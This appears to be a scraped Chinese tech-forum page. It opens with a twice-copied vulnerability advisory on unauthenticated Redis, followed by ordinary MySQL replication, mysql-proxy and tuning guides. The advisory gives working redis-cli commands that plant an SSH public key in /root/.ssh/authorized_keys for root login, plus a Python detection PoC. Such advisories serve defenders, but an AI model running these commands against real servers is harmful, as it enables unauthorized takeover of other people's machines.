因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。漏洞影响Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。


通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。





根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。

1.1. 漏洞分析与利用
首先在本地生产公私钥文件:$ssh-keygen –t rsa



然后将公钥写入foo.txt文件$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt再连接Redis写入文件$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK



这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:$ ssh –i id_rsa root@192.168.1.11即可远程利用自己的私钥登录该服务器。
 
当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。

Redis 未授权的其他危害与利用

数据库数据泄露Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等



代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下




一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。
敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫




可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。









漏洞 PoC

#!/usr/bin/env python
# -[i]- coding:utf-8 -[/i]-

import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
vulID = '89339'
version = '1'
author = ['Anonymous']
vulDate = '2015-10-26'
createDate = '2015-10-26'
updateDate = '2015-10-26'
references = ['http://sebug.net/vuldb/ssvid-89339']
name = 'Redis 未授权访问 PoC'
appPowerLink = 'http://redis.io/'
appName = 'Redis'
appVersion = 'All'
vulType = 'Unauthorized access'
desc = '''
redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
'''
samples = ['']

def _verify(self):
result = {}
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and 'redis_version' in recvdata:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Port'] = port
except:
pass
s.close()
return self.parse_attack(result)

def _attack(self):
return self._verify()

def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output

register(TestPOC)




分享阅读原文:https://www.sebug.net/vuldb/ssvid-89715 查看全部
redisbug1.png


漏洞概要


Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。


漏洞详情


漏洞概述
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞描述
Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。
 
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 
利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞影响
Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。


通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。
redisbug2.png


根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。


1.1. 漏洞分析与利用
首先在本地生产公私钥文件:
$ssh-keygen –t rsa

redisbug3.png
然后将公钥写入foo.txt文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
再连接Redis写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
redisbug4.png

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:
$ ssh –i  id_rsa root@192.168.1.11
即可远程利用自己的私钥登录该服务器。
 
当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。


Redis 未授权的其他危害与利用


数据库数据泄露
Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等 
redis5.png

代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下
redisbug5.png

一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。
敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
redisbug6.png

可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。
redisbug7.png

redisbug8.png


漏洞 PoC


#!/usr/bin/env python
# -[i]- coding:utf-8 -[/i]-

import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
vulID = '89339'
version = '1'
author = ['Anonymous']
vulDate = '2015-10-26'
createDate = '2015-10-26'
updateDate = '2015-10-26'
references = ['http://sebug.net/vuldb/ssvid-89339']
name = 'Redis 未授权访问 PoC'
appPowerLink = 'http://redis.io/'
appName = 'Redis'
appVersion = 'All'
vulType = 'Unauthorized access'
desc = '''
redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
'''
samples = ['']

def _verify(self):
result = {}
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and 'redis_version' in recvdata:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Port'] = port
except:
pass
s.close()
return self.parse_attack(result)

def _attack(self):
return self._verify()

def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output

register(TestPOC)
redisbug9.png


分享阅读原文:https://www.sebug.net/vuldb/ssvid-89715


Msyql主从复制原理介绍

koyo 发表了文章 • 2 个评论 • 748 次浏览 • 2015-11-22 22:27 • 来自相关话题

工作原理图:




主从复制的原理:
分为同步复制和异步复制,实际复制架构中大部分为异步复制。 复制的基本过程如下:
1).Slave上面的IO进程连接上Master,并请求从指定日志文件的指定位置(或者从最开始的日志)之后的日志内容;
2).Master接收到来自Slave的IO进程的请求后,通过负责复制的IO进程根据请求信息读取制定日志指定位置之后的日志信息,返回给Slave 的IO进程。返回信息中除了日志所包含的信息之外,还包括本次返回的信息已经到Master端的bin-log文件的名称以及bin-log的位置;


3).Slave的IO进程接收到信息后,将接收到的日志内容依次添加到Slave端的relay-log文件的最末端,并将读取到的Master端的 bin-log的文件名和位置记录到master-info文件中,以便在下一次读取的时候能够清楚的告诉Master“我需要从某个bin-log的哪个位置开始往后的日志内容,请发给我”;
4).Slave的Sql进程检测到relay-log中新增加了内容后,会马上解析relay-log的内容成为在Master端真实执行时候的那些可执行的内容,并在自身执行。 查看全部
工作原理图:
mysql.gif

主从复制的原理:
分为同步复制和异步复制,实际复制架构中大部分为异步复制。 复制的基本过程如下:
1).Slave上面的IO进程连接上Master,并请求从指定日志文件的指定位置(或者从最开始的日志)之后的日志内容;
2).Master接收到来自Slave的IO进程的请求后,通过负责复制的IO进程根据请求信息读取制定日志指定位置之后的日志信息,返回给Slave 的IO进程。返回信息中除了日志所包含的信息之外,还包括本次返回的信息已经到Master端的bin-log文件的名称以及bin-log的位置;


3).Slave的IO进程接收到信息后,将接收到的日志内容依次添加到Slave端的relay-log文件的最末端,并将读取到的Master端的 bin-log的文件名和位置记录到master-info文件中,以便在下一次读取的时候能够清楚的告诉Master“我需要从某个bin-log的哪个位置开始往后的日志内容,请发给我”;
4).Slave的Sql进程检测到relay-log中新增加了内容后,会马上解析relay-log的内容成为在Master端真实执行时候的那些可执行的内容,并在自身执行。

MySQL-Proxy实现MySQL读写分离提高并发负载

koyo 发表了文章 • 1 个评论 • 1016 次浏览 • 2015-11-22 20:55 • 来自相关话题

工作拓扑




MySQL Proxy有一项强大功能是实现“读写分离”,基本原理是让主数据库处理写方面事务,让从库处理SELECT查询。
 
Amoeba for MySQL是一款优秀的中间件软件,同样可以实现读写分离,负载均衡等功能,并且稳定性也高于MySQL Proxy,有兴趣的可以测试一下。
环境描述:
操作系统:CentOS6.3_x64
[]主服务器Master:192.168.0.202[/][]从服务器Slave:192.168.0.203[/][]调度服务器MySQL-Proxy:192.168.0.204[/]

一、Mysql主从复制

主从复制这里就不多说了,可以参考:http://openskill.cn/article/110

二、Mysql-proxy读写分离实现

1、安装mysql-proxy
实现读写分离是有lua脚本实现的,现在mysql-proxy里面已经集成,无需再安装
下载:http://dev.mysql.com/downloads/mysql-proxy/tar zxvf mysql-proxy-0.8.3-linux-glibc2.3-x86-64bit.tar.gz
mv mysql-proxy-0.8.3-linux-glibc2.3-x86-64bit /usr/local/mysql-proxy2、配置mysql-proxy,创建主配置文件cd /usr/local/mysql-proxy
mkdir lua #创建脚本存放目录
mkdir logs #创建日志目录
cp share/doc/mysql-proxy/rw-splitting.lua ./lua #复制读写分离配置文件
cp share/doc/mysql-proxy/admin-sql.lua ./lua #复制管理脚本
vi /etc/mysql-proxy.cnf #创建配置文件
[mysql-proxy]
user=root #运行mysql-proxy用户
admin-username=proxy #主从mysql共有的用户
admin-password=123.com #用户的密码
proxy-address=192.168.0.204:4000 #mysql-proxy运行ip和端口,不加端口,默认4040
proxy-read-only-backend-addresses=192.168.0.203 #指定后端从slave读取数据
proxy-backend-addresses=192.168.0.202 #指定后端主master写入数据
proxy-lua-script=/usr/local/mysql-proxy/lua/rw-splitting.lua #指定读写分离配置文件位置
admin-lua-script=/usr/local/mysql-proxy/lua/admin-sql.lua #指定管理脚本
log-file=/usr/local/mysql-proxy/logs/mysql-proxy.log #日志位置
log-level=info #定义log日志级别,由高到低分别有(error|warning|info|message|debug)
daemon=true #以守护进程方式运行
keepalive=true #mysql-proxy崩溃时,尝试重启
保存退出!
chmod 660 /etc/mysql-porxy.cnf3、修改读写分离配置文件vi /usr/local/mysql-proxy/lua/rw-splitting.lua
if not proxy.global.config.rwsplit then
proxy.global.config.rwsplit = {
min_idle_connections = 1, #默认超过4个连接数时,才开始读写分离,改为1
max_idle_connections = 1, #默认8,改为1
is_debug = false
}
end4、启动mysql-proxy/usr/local/mysql-proxy/bin/mysql-proxy --defaults-file=/etc/mysql-proxy.cnf
netstat -tupln | grep 4000 #已经启动
tcp 0 0 192.168.0.204:4000 0.0.0.0:* LISTEN 1264/mysql-proxy
关闭mysql-proxy使用:killall -9 mysql-proxy5、测试读写分离
1>.在主服务器创建proxy用户用于mysql-proxy使用,从服务器也会同步这个操作mysql> grant all on [i].[/i] to 'proxy'@'192.168.0.204' identified by '123.com';2>.使用客户端连接mysql-proxymysql -u proxy -h 192.168.0.204 -P 4000 -p123.com创建数据库和表,这时的数据只写入主mysql,然后再同步从slave,可以先把slave的关了,看能不能写入,这里我就不测试了,下面测试下读的数据!mysql> create table user (number INT(10),name VARCHAR(255));
mysql> insert into test values(01,'zhangsan');
mysql> insert into user values(02,'lisi');3>.登陆主从mysq查看新写入的数据如下mysql> use test;
Database changed
mysql> select * from user;
+--------+----------+
| number | name |
+--------+----------+
| 1 | zhangsan |
| 2 | lisi |
+--------+----------+4>.再登陆到mysql-proxy,查询数据,看出能正常查询mysql -u proxy -h 192.168.0.204 -P 4000 -p123.com
mysql> use test;
mysql> select * from user;
+--------+----------+
| number | name |
+--------+----------+
| 1 | zhangsan |
| 2 | lisi |
+--------+----------+5>.登陆从服务器关闭mysql同步进程,这时再登陆mysql-proxy肯定会查询不出数据slave stop;6>.登陆mysql-proxy查询数据,下面看来,能看到表,查询不出数据mysql> use test;
Database changed
mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| user |
+----------------+
mysql> select * from user;
ERROR 1146 (42S02): Table 'test.user' doesn't exist配置成功!真正实现了读写分离的效果!

原文作者:李振良
分享原文地址:http://lizhenliang.blog.51cto.com/7876557/1305083 查看全部
工作拓扑
proxy_arch.png

MySQL Proxy有一项强大功能是实现“读写分离”,基本原理是让主数据库处理写方面事务,让从库处理SELECT查询。
 
Amoeba for MySQL是一款优秀的中间件软件,同样可以实现读写分离,负载均衡等功能,并且稳定性也高于MySQL Proxy,有兴趣的可以测试一下。
环境描述:
操作系统:CentOS6.3_x64
    []主服务器Master:192.168.0.202[/][]从服务器Slave:192.168.0.203[/][]调度服务器MySQL-Proxy:192.168.0.204[/]


一、Mysql主从复制


主从复制这里就不多说了,可以参考:http://openskill.cn/article/110


二、Mysql-proxy读写分离实现


1、安装mysql-proxy
实现读写分离是有lua脚本实现的,现在mysql-proxy里面已经集成,无需再安装
下载:http://dev.mysql.com/downloads/mysql-proxy/
tar zxvf mysql-proxy-0.8.3-linux-glibc2.3-x86-64bit.tar.gz
mv mysql-proxy-0.8.3-linux-glibc2.3-x86-64bit /usr/local/mysql-proxy
2、配置mysql-proxy,创建主配置文件
cd /usr/local/mysql-proxy
mkdir lua #创建脚本存放目录
mkdir logs #创建日志目录
cp share/doc/mysql-proxy/rw-splitting.lua ./lua #复制读写分离配置文件
cp share/doc/mysql-proxy/admin-sql.lua ./lua #复制管理脚本
vi /etc/mysql-proxy.cnf #创建配置文件
[mysql-proxy]
user=root #运行mysql-proxy用户
admin-username=proxy #主从mysql共有的用户
admin-password=123.com #用户的密码
proxy-address=192.168.0.204:4000 #mysql-proxy运行ip和端口,不加端口,默认4040
proxy-read-only-backend-addresses=192.168.0.203 #指定后端从slave读取数据
proxy-backend-addresses=192.168.0.202 #指定后端主master写入数据
proxy-lua-script=/usr/local/mysql-proxy/lua/rw-splitting.lua #指定读写分离配置文件位置
admin-lua-script=/usr/local/mysql-proxy/lua/admin-sql.lua #指定管理脚本
log-file=/usr/local/mysql-proxy/logs/mysql-proxy.log #日志位置
log-level=info #定义log日志级别,由高到低分别有(error|warning|info|message|debug)
daemon=true #以守护进程方式运行
keepalive=true #mysql-proxy崩溃时,尝试重启
保存退出!
chmod 660 /etc/mysql-porxy.cnf
3、修改读写分离配置文件
vi /usr/local/mysql-proxy/lua/rw-splitting.lua
if not proxy.global.config.rwsplit then
proxy.global.config.rwsplit = {
min_idle_connections = 1, #默认超过4个连接数时,才开始读写分离,改为1
max_idle_connections = 1, #默认8,改为1
is_debug = false
}
end
4、启动mysql-proxy
/usr/local/mysql-proxy/bin/mysql-proxy --defaults-file=/etc/mysql-proxy.cnf
netstat -tupln | grep 4000 #已经启动
tcp 0 0 192.168.0.204:4000 0.0.0.0:* LISTEN 1264/mysql-proxy
关闭mysql-proxy使用:killall -9 mysql-proxy
5、测试读写分离
1>.在主服务器创建proxy用户用于mysql-proxy使用,从服务器也会同步这个操作
mysql> grant all on [i].[/i] to 'proxy'@'192.168.0.204' identified by '123.com';
2>.使用客户端连接mysql-proxy
mysql -u proxy -h 192.168.0.204 -P 4000 -p123.com
创建数据库和表,这时的数据只写入主mysql,然后再同步从slave,可以先把slave的关了,看能不能写入,这里我就不测试了,下面测试下读的数据!
mysql> create table user (number INT(10),name VARCHAR(255));
mysql> insert into test values(01,'zhangsan');
mysql> insert into user values(02,'lisi');
3>.登陆主从mysq查看新写入的数据如下
mysql> use test;
Database changed
mysql> select * from user;
+--------+----------+
| number | name |
+--------+----------+
| 1 | zhangsan |
| 2 | lisi |
+--------+----------+
4>.再登陆到mysql-proxy,查询数据,看出能正常查询
mysql -u proxy -h 192.168.0.204 -P 4000 -p123.com
mysql> use test;
mysql> select * from user;
+--------+----------+
| number | name |
+--------+----------+
| 1 | zhangsan |
| 2 | lisi |
+--------+----------+
5>.登陆从服务器关闭mysql同步进程,这时再登陆mysql-proxy肯定会查询不出数据
slave stop;
6>.登陆mysql-proxy查询数据,下面看来,能看到表,查询不出数据
mysql> use test;
Database changed
mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| user |
+----------------+
mysql> select * from user;
ERROR 1146 (42S02): Table 'test.user' doesn't exist
配置成功!真正实现了读写分离的效果!


原文作者:李振良
分享原文地址:http://lizhenliang.blog.51cto.com/7876557/1305083


mysql联合索引

采菊篱下 回复了问题 • 2 人关注 • 3 个回复 • 1399 次浏览 • 2015-10-29 10:48 • 来自相关话题

Mysql配置优化浅谈

push 发表了文章 • 0 个评论 • 1524 次浏览 • 2015-10-25 23:38 • 来自相关话题

安装MySQL后,配置文件my.cnf在MySQL安装目录/share/mysql目录中,该目录中还包含多个配置文件可供参考,有my-large.cnf ,my-huge.cnf,  my-medium.cnf,my-small.cnf,分别对应大中小型数据库应用的配置。win环境下即存在于MySQL安装目录中的.ini文件。

下面列出了对性能优化影响较大的主要变量,主要分为连接请求的变量和缓冲区变量。
一、连接请求的变量

max_connections

MySQL的最大连接数,增加该值增加mysqld要求的文件描述符的数量。如果服务器的并发连接请求量比较大,建议调高此值,以增加并行连接数量,当然这建立在机器能支撑的情况下,因为如果连接数越多,介于MySQL会为每个连接提供连接缓冲区,就会开销越多的内存,所以要适当调整该值,不能盲目提高设值。

数值过小会经常出现ERROR 1040: Too many connections错误,可以过‘conn%’通配符查看当前状态的连接数量,以定夺该值的大小。

show variables like ’max_connections‘ 查看最大连接数
show status like ‘max_used_connections’ 查看响应的连接数如下:
mysql> show variables like ‘max_connections‘;

+———————–+——-+

| Variable_name | Value |

+———————–+——-+

| max_connections | 256  |

+———————–+——-+

mysql> show status like ‘max%connections‘;

+———————–+——-+

| Variable_name  | Value |

+—————————-+——-+

| max_used_connections | 256|

+—————————-+——-+max_used_connections / max_connections * 100% (理想值≈ 85%)
如果max_used_connections跟max_connections相同 那么就是max_connections设置过低或者超过服务器负载上限了,低于10%则设置过大。

back_log

MySQL能暂存的连接数量。当主要MySQL线程在一个很短时间内得到非常多的连接请求,这就起作用。如果MySQL的连接数据达到max_connections时,新来的请求将会被存在堆栈中,以等待某一连接释放资源,该堆栈的数量即back_log,如果等待连接的数量超过back_log,将不被授予连接资源。

back_log值指出在MySQL暂时停止回答新请求之前的短时间内有多少个请求可以被存在堆栈中。只有如果期望在一个短时间内有很多连接,你需要增加它,换句话说,这值对到来的TCP/IP连接的侦听队列的大小。

当观察你主机进程列表(mysql> show full processlist),发现大量264084 | unauthenticated user | xxx.xxx.xxx.xxx | NULL | Connect | NULL | login | NULL 的待连接进程时,就要加大back_log 的值了。

默认数值是50,可调优为128,对于Linux系统设置范围为小于512的整数。

 interactive_timeout

一个交互连接在被服务器在关闭前等待行动的秒数。一个交互的客户被定义为对mysql_real_connect()使用CLIENT_INTERACTIVE 选项的客户。

默认数值是28800,可调优为7200。 二、缓冲区变量
全局缓冲:

key_buffer_size

key_buffer_size指定索引缓冲区的大小,它决定索引处理的速度,尤其是索引读的速度。通过检查状态值Key_read_requests和Key_reads,可以知道key_buffer_size设置是否合理。比例key_reads / key_read_requests应该尽可能的低,至少是1:100,1:1000更好(上述状态值可以使用SHOW STATUS LIKE ‘key_read%’获得)。

key_buffer_size只对MyISAM表起作用。即使你不使用MyISAM表,但是内部的临时磁盘表是MyISAM表,也要使用该值。可以使用检查状态值created_tmp_disk_tables得知详情。举例如下:
mysql> show variables like ‘key_buffer_size‘;

+——————-+————+

| Variable_name | Value |

+———————+————+

| key_buffer_size | 536870912 |

+———— ———-+————+

key_buffer_size为512MB,我们再看一下key_buffer_size的使用情况:

mysql> show global status like ‘key_read%‘;

+————————+————-+

| Variable_name  | Value |

+————————+————-+

| Key_read_requests| 27813678764 |

| Key_reads   | 6798830 |

+————————+————-+

一共有27813678764个索引读取请求,有6798830个请求在内存中没有找到直接从硬盘读取索引,计算索引未命中缓存的概率:

key_cache_miss_rate =Key_reads / Key_read_requests * 100%,设置在1/1000左右较好

默认配置数值是8388600(8M),主机有4GB内存,可以调优值为268435456(256MB)。

query_cache_size

使用查询缓冲,MySQL将查询结果存放在缓冲区中,今后对于同样的SELECT语句(区分大小写),将直接从缓冲区中读取结果。

通过检查状态值Qcache_*,可以知道query_cache_size设置是否合理(上述状态值可以使用SHOW STATUS LIKE ‘Qcache%’获得)。如果Qcache_lowmem_prunes的值非常大,则表明经常出现缓冲不够的情况,如果Qcache_hits的值也非常大,则表明查询缓冲使用非常频繁,此时需要增加缓冲大小;如果Qcache_hits的值不大,则表明你的查询重复率很低,这种情况下使用查询缓冲反而会影响效率,那么可以考虑不用查询缓冲。此外,在SELECT语句中加入SQL_NO_CACHE可以明确表示不使用查询缓冲。

与查询缓冲有关的参数还有query_cache_type、query_cache_limit、query_cache_min_res_unit。

query_cache_type指定是否使用查询缓冲,可以设置为0、1、2,该变量是SESSION级的变量。

query_cache_limit指定单个查询能够使用的缓冲区大小,缺省为1M。

query_cache_min_res_unit是在4.1版本以后引入的,它指定分配缓冲区空间的最小单位,缺省为4K。检查状态值Qcache_free_blocks,如果该值非常大,则表明缓冲区中碎片很多,这就表明查询结果都比较小,此时需要减小query_cache_min_res_unit。举例如下:
mysql> show global status like ‘qcache%‘;

+——————————-+—————–+

| Variable_name | Value  |

+——————————-+—————–+

| Qcache_free_blocks  | 22756  |

| Qcache_free_memory  | 76764704 |

| Qcache_hits      | 213028692 |

| Qcache_inserts     | 208894227 |

| Qcache_lowmem_prunes | 4010916 |

| Qcache_not_cached | 13385031 |

| Qcache_queries_in_cache | 43560 |

| Qcache_total_blocks | 111212  |

+——————————-+—————–+

mysql> show variables like ‘query_cache%‘;

+————————————–+————–+

| Variable_name      | Value  |

+————————————–+———–+

| query_cache_limit      | 2097152 |

| query_cache_min_res_unit  | 4096   |

| query_cache_size      | 203423744 |

| query_cache_type      | ON  |

| query_cache_wlock_invalidate | OFF  |

+————————————–+—————+

查询缓存碎片率= Qcache_free_blocks / Qcache_total_blocks * 100%

如果查询缓存碎片率超过20%,可以用FLUSH QUERY CACHE整理缓存碎片,或者试试减小query_cache_min_res_unit,如果你的查询都是小数据量的话。

查询缓存利用率= (query_cache_size – Qcache_free_memory) / query_cache_size * 100%

查询缓存利用率在25%以下的话说明query_cache_size设置的过大,可适当减小;查询缓存利用率在80%以上而且Qcache_lowmem_prunes > 50的话说明query_cache_size可能有点小,要不就是碎片太多。

查询缓存命中率= (Qcache_hits – Qcache_inserts) / Qcache_hits * 100%

示例服务器查询缓存碎片率=20.46%,查询缓存利用率=62.26%,查询缓存命中率=1.94%,命中率很差,可能写操作比较频繁吧,而且可能有些碎片。
每个连接的缓冲:

record_buffer_size

每个进行一个顺序扫描的线程为其扫描的每张表分配这个大小的一个缓冲区。如果你做很多顺序扫描,你可能想要增加该值。

默认数值是131072(128K),可改为16773120 (16M)

read_rnd_buffer_size

随机读缓冲区大小。当按任意顺序读取行时(例如,按照排序顺序),将分配一个随机读缓存区。进行排序查询时,MySQL会首先扫描一遍该缓冲,以避免磁盘搜索,提高查询速度,如果需要排序大量数据,可适当调高该值。但MySQL会为每个客户连接发放该缓冲空间,所以应尽量适当设置该值,以避免内存开销过大。

一般可设置为16M

sort_buffer_size

每个需要进行排序的线程分配该大小的一个缓冲区。增加这值加速ORDER BY或GROUP BY操作。

默认数值是2097144(2M),可改为16777208 (16M)。

join_buffer_size

联合查询操作所能使用的缓冲区大小

record_buffer_size,read_rnd_buffer_size,sort_buffer_size,join_buffer_size为每个线程独占,也就是说,如果有100个线程连接,则占用为16M*100

table_cache

表高速缓存的大小。每当MySQL访问一个表时,如果在表缓冲区中还有空间,该表就被打开并放入其中,这样可以更快地访问表内容。通过检查峰值时间的状态值Open_tables和Opened_tables,可以决定是否需要增加table_cache的值。如果你发现open_tables等于table_cache,并且opened_tables在不断增长,那么你就需要增加table_cache的值了(上述状态值可以使用SHOW STATUS LIKE ‘Open%tables’获得)。注意,不能盲目地把table_cache设置成很大的值。如果设置得太高,可能会造成文件描述符不足,从而造成性能不稳定或者连接失败。

1G内存机器,推荐值是128-256。内存在4GB左右的服务器该参数可设置为256M或384M。

max_heap_table_size

用户可以创建的内存表(memory table)的大小。这个值用来计算内存表的最大行数值。这个变量支持动态改变,即set @max_heap_table_size=#

这个变量和tmp_table_size一起限制了内部内存表的大小。如果某个内部heap(堆积)表大小超过tmp_table_size,MySQL可以根据需要自动将内存中的heap表改为基于硬盘的MyISAM表。

tmp_table_size

通过设置tmp_table_size选项来增加一张临时表的大小,例如做高级GROUP BY操作生成的临时表。如果调高该值,MySQL同时将增加heap表的大小,可达到提高联接查询速度的效果,建议尽量优化查询,要确保查询过程中生成的临时表在内存中,避免临时表过大导致生成基于硬盘的MyISAM表。mysql> show global status like ‘created_tmp%‘;

+——————————–+———+

| Variable_name   | Value |

+———————————-+———+

| Created_tmp_disk_tables | 21197 |

| Created_tmp_files   | 58  |

| Created_tmp_tables  | 1771587 |

+——————————–+———–+每次创建临时表,Created_tmp_tables增加,如果临时表大小超过tmp_table_size,则是在磁盘上创建临时表,Created_tmp_disk_tables也增加,Created_tmp_files表示MySQL服务创建的临时文件文件数,比较理想的配置是:

Created_tmp_disk_tables / Created_tmp_tables [i] 100% <= 25%比如上面的服务器Created_tmp_disk_tables / Created_tmp_tables [/i] 100% =1.20%,应该相当好了

默认为16M,可调到64-256最佳,线程独占,太大可能内存不够I/O堵塞

thread_cache_size

可以复用的保存在中的线程的数量。如果有,新的线程从缓存中取得,当断开连接的时候如果有空间,客户的线置在缓存中。如果有很多新的线程,为了提高性能可以这个变量值。

通过比较 Connections和Threads_created状态的变量,可以看到这个变量的作用。

默认值为110,可调优为80。

thread_concurrency

推荐设置为服务器 CPU核数的2倍,例如双核的CPU, 那么thread_concurrency的应该为4;2个双核的cpu, thread_concurrency的值应为8。默认为8

wait_timeout

指定一个请求的最大连接时间,对于4GB左右内存的服务器可以设置为5-10。三、配置InnoDB的几个变量

innodb_buffer_pool_size

对于InnoDB表来说,innodb_buffer_pool_size的作用就相当于key_buffer_size对于MyISAM表的作用一样。InnoDB使用该参数指定大小的内存来缓冲数据和索引。对于单独的MySQL数据库服务器,最大可以把该值设置成物理内存的80%。

根据MySQL手册,对于2G内存的机器,推荐值是1G(50%)。

innodb_flush_log_at_trx_commit

主要控制了innodb将log buffer中的数据写入日志文件并flush磁盘的时间点,取值分别为0、1、2三个。0,表示当事务提交时,不做日志写入操作,而是每秒钟将log buffer中的数据写入日志文件并flush磁盘一次;1,则在每秒钟或是每次事物的提交都会引起日志文件写入、flush磁盘的操作,确保了事务的ACID;设置为2,每次事务提交引起写入日志文件的动作,但每秒钟完成一次flush磁盘操作。

